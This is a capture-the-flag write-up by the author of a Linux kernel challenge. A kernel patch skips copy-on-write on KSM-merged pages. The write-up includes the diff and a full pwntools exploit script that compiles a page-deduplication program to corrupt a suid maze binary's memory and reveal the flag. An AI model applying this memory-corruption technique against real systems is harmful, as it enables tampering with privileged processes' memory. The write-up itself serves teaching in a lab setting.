ksmaze is a linux kernel related challenge I authored in GlacierCTF2024. It had
1 solve 2h before the end of the 24h CTF. It categorizes in the hard side
of the challenges.
You have the original CTFd distfile with a locally deployable version in [3]
The challenge is an unprivileged SSH instance of qemu running a custom rootfs
and kernel:
[ecomaikgolf@laptop ~/]$ nc 78.47.52.31 1337
[+] Please solve the following PoW (apt install hashcash):
[$] hashcash -mb29 -r tjkcjhhqniei
[>] Hashcash token: [...]
[+] Proof of Work passed
Press [ENTER] to start the instance
[+] Generating personal access key...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArqc/cNxvAEV3aCJ4igsyosNpDfEU2IZWGl5MhYvH2uwAAAJAfcmsLH3Jr
CwAAAAtzc2gtZWQyNTUxOQAAACArqc/cNxvAEV3aCJ4igsyosNpDfEU2IZWGl5MhYvH2uw
AAAEDWURNk8XZ98EeiheeUt17ptV93x7XaoLnVMt1ZNxOq1yupz9w3G8ARXdoIniKCzKiw
2kN8RTYhlYaXkyFi8fa7AAAAC3BsYXllckBnY3RmAQI=
-----END OPENSSH PRIVATE KEY-----
[+] 1. Paste the key to a file 'key'
[+] 2. Fix key permissions with 'chmod 600 key'
[+] 3. Wait 10-30 seconds for the system to boot
[+] 4. Clean known_hosts with ssh-keygen -R "[78.47.52.31]:20743"
[+] 5. Connect with 'ssh -p20743 -i key user@78.47.52.31'
[+] 6. Copy exploit files with 'scp -P 20743 -i key ./LOCALEXPLOIT user@78.47.52.31:~/'
[+] You have 500 seconds to solve it. Avoid timeouts by running it locally.
Press [ENTER] to stop the instance
We are running unprivileged and in a custom kernel:
1
2
3
4
5
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ uname -r
5.10.230-ksmaze
$
There’s a suid binary in /bin/ksmaze for which we got the binary only.
We also get the original and modified vmlinux and bzImage:
When interacting with ksmaze, we get an ncurses maze which we can interact
with WASD:
You can obtain points, but obtaining the flag F is impossible as it’s always
blocked by enemies and borders.
Now we would have to start the reversing part. There’s probably a lot of ways
of arriving to the same conclusions, I’m just going to find how I would think
about the challenge.
The running kernel has some backdoor that ksmaze can exploit, I would just
take a quick look at ksmaze but probably everything looks sane and the
vulnerability is somewhere in the kernel and ksmaze uses it. We could also
look in ksmaze for unusual things, but we’ll start with the kernel images.
Also, the kernel version was the latest at the time of challenge release, so it
wouldn’t have seem that a Nday would have been the intended solution. It’s
probably a modification in the kernel image.
As we get two kernel images (modified and original), we should go straight to
bindiff. We got vmlinux, so we’ll convert it to an ELF and load it into
IDA for maximum convenience.
diff -Naur a/mm/memory.c b/mm/memory.c
--- a/mm/memory.c 2024-10-17 15:08:39.000000000 +0200
+++ b/mm/memory.c 2024-10-27 14:41:06.477944638 +0100
@@ -3158,6 +3158,8 @@
if (PageAnon(vmf->page)) {
struct page *page = vmf->page;
+ if (PageKsm(page))
+ goto fini;
/* PageKsm() doesn't necessarily raise the page refcount */
if (PageKsm(page) || page_count(page) != 1)
goto copy;
@@ -3173,6 +3175,7 @@
* it's dark out, and we're wearing sunglasses. Hit it.
*/
unlock_page(page);
+fini:
wp_page_reuse(vmf);
return VM_FAULT_WRITE;
} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
The patch skips the CoW when a KSM page gets a write protection fault. KSM
stands for Kernel Samepage Merging, its a mechanism in the linux kernel for
deduplicating equivalent pages. You can see this behaviour is enabled in
/sys/kernel/mm/ksm/run. You could also check in the qcow2 there’s a script
enabling it at startup.
This also matches with the name: ksmaze, KSMaze.
Pages are marked for deduplication with madvise(ptr, size, MADV_MERGEABLE), we
can open ksmaze in ida and check for references for madvise:
Seems that it’s used at the constuctor of the maze:
As we can see v6 is the maze and we end the constructor by putting the player
@ in the maze and marking the maze for deduplication (12 is `MADV_MERGEABLE).
That’s why its a next-generation kernel-optimized maze!
#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host localhost --port 1337frompwnimport*fromsysimportstdoutfromsubprocessimportPopen,PIPEimportosimportrefromtmuxioimport*importrefrompathlibimportPath# Set up pwntools for the correct architecturecontext.update(arch='amd64')# Just set TERM_PROGRAM in your ~/.profile!# context.update(terminal='CHANGEME')#exe = context.binary = ELF(args.EXE or 'challenge')host=args.HOSTor'localhost'port=int(args.PORTor1337)# Find flag by exact match or format# log.success(find_flag(io.recvall()))real_flag=open("./flag.txt","r").readline().strip()fake_flag=open("./flag-fake.txt","r").readline().strip()deffind_flag(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")# Match real flagifreal_flaginoutput:returnreal_flag# Match fake flagiffake_flaginoutput:returnfake_flag# Match possible local flagwithopen("/flag.txt","r")aslocal:locl_flag=local.readline().strip()iflocl_flaginoutput:returnlocl_flag# Match regexp flagr=find_flag_fmt(output)ifrisnotNone:returnr# Definitely no flag foundreturnNone# Find flag by format# log.success(find_flag_fmt(io.recvall()))ffmt=re.compile(r"gctf{.*}")deffind_flag_fmt(output):ifnotisinstance(output,str):output=output.decode(errors="ignore")m=ffmt.search(output)ifmisNone:returnNonereturnm.group(0)defstart_remote(argv=[],*a,**kw):'''Connect to the process on the remote host'''io=connect(host,port)ifargs.GDB:gdb.attach(io,gdbscript=gdbscript)returniodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''returnstart_remote(argv,*a,**kw)# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript='''
continue
'''.format(**locals())tempdir=tempfile.TemporaryDirectory()POW_BYPASS=Nonedefpass_pow(i):i.recvuntil(b"[$] ")hashcash=i.recvuntil(b"\n").decode().strip().split(" ")log.info(f"Received Proof of Work challenge: {hashcash}")token=""ifPOW_BYPASSisnotNone:token=POW_BYPASSlog.info("Bypassed Proof of Work")else:log.info("Solving Proof of Work, might take a while")process=Popen(hashcash,stdout=PIPE)# Yes, this is dangerous if server is malicious(output,err)=process.communicate()exit_code=process.wait()token=output.decode().removesuffix('hashcash token: ').strip()log.info(f"Solved Proof of Work: {token}")i.sendline(token.encode())a=i.recvline().decode()ifa.find("Proof of work passed"):log.info("Server confirmed Proof of Work")elifa.find("Wrong")ora.find("invalid"):log.info("Failed Proof of Work")exit(1)port_instance=Nonedefparse_and_get_ssh():globalport_instanceio.sendlineafter(b"Press [ENTER] to start the instance",b"")io.recvuntil(b"-----BEGIN OPENSSH PRIVATE KEY-----")key="-----BEGIN OPENSSH PRIVATE KEY-----"+io.recvuntil(b"-----END OPENSSH PRIVATE KEY-----").decode()log.success(f"Got the key to connect:\n{key}")io.recvuntil(b"Connect with 'ssh -p")port_instance=io.recvline().decode().split()[0]log.success(f"Got the connection info: ssh -p{port_instance} -i {tempdir.name}/key user@{host}")withopen(f'{tempdir.name}/key','w')asf:f.write(key)f.write('\n')os.chmod(f"{tempdir.name}/key",0o600)#log.info("Sleeping 15 seconds to let the challenge to boot")sleep(15)# NOTE THIS IS NOT CLEAN AND COULD LEAD TO ISSUES (needs to be there)a=['ssh','-o','StrictHostKeyChecking=no',f'-p{port_instance}','-i',tempdir.name+'/key',f'user@{host}']s=tmuxio(a,x=128,y=64)asserts.tmux.has_session()returns#maze = io.capture_pane(start=0, end=200)#ssh(timeout=ssh.forever,# user='user',# host=host,# port=int(port_instance),# keyfile=f'{tempdir.name}/key',# ignore_config=True# )WALL_C=b'#'PLAY_C=b'@'EMPT_C=b' 'COIN_C=b'.'ENEM_C=b'&'TREE_C=b'^'FLAG_C=b'F'MAZE_CHARS=[WALL_C,PLAY_C,EMPT_C,COIN_C,ENEM_C,TREE_C,FLAG_C]#===========================================================# EXPLOIT GOES HERE#===========================================================io=start()# Sorry if I fucked your setup XDos.system("pkill tmux")pass_pow(io)log.success(f"Tempdir is {tempdir.name}")s=parse_and_get_ssh()sleep(5)s.sendline(b"/bin/ksmaze")test=NonewhileTrue:test=s.capture_pane()print("Debug:")print(hexdump(test))ifb'^'intestandb'#'intestandb'@'intest:breaklog.info("Waiting until connection starts...")sleep(1)log.success("Got the maze:")maze=test.decode()print(maze)maze=maze.split('\n')maze2=[]foriinmaze:maze2+=i[:64]maze2="".join(maze2)[:4096]maze=maze2#maze = maze2.replace("@", " ")log.info(f"Generating deduplication code")# C code that causes a deduplicationcpp_code=f"""
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#define SIZE 64*64
unsigned char *memory;
static unsigned char maze[SIZE+1] = "{maze}";
int main() {{ memory = (unsigned char *)aligned_alloc(SIZE, SIZE);
memcpy(memory, maze, SIZE);
madvise(memory, SIZE, MADV_MERGEABLE);
sleep(5);
memset(memory, 'F', SIZE);
sleep(800);
}}"""withopen(f"{tempdir.name}/dedup_maze.cpp","w")asf:f.write(cpp_code)os.system(f"gcc -o {tempdir.name}/dedup {tempdir.name}/dedup_maze.cpp")log.success(f"Generated deduplication binary on {tempdir.name}/dedup")log.info("Opening another SSH connection to run it")ssh=ssh(timeout=ssh.forever,user='user',host=host,port=int(port_instance),keyfile=f'{tempdir.name}/key',ignore_config=True)ssh.put(f"{tempdir.name}/dedup","/home/user/dedup")sh=ssh.system('/bin/sh',env={'PS1':'','TERM':'xterm'})sh.sendline(b"chmod +x /home/user/dedup")sh.sendline(b"./dedup &")# Give some time for KSM to worksleep(5)foriinrange(20):s.send(b"w")# move our char to Ftest=s.capture_pane()f=find_flag(str(test))iffisnotNone:log.success(f"{f}")exit(0)sleep(1)exit(1)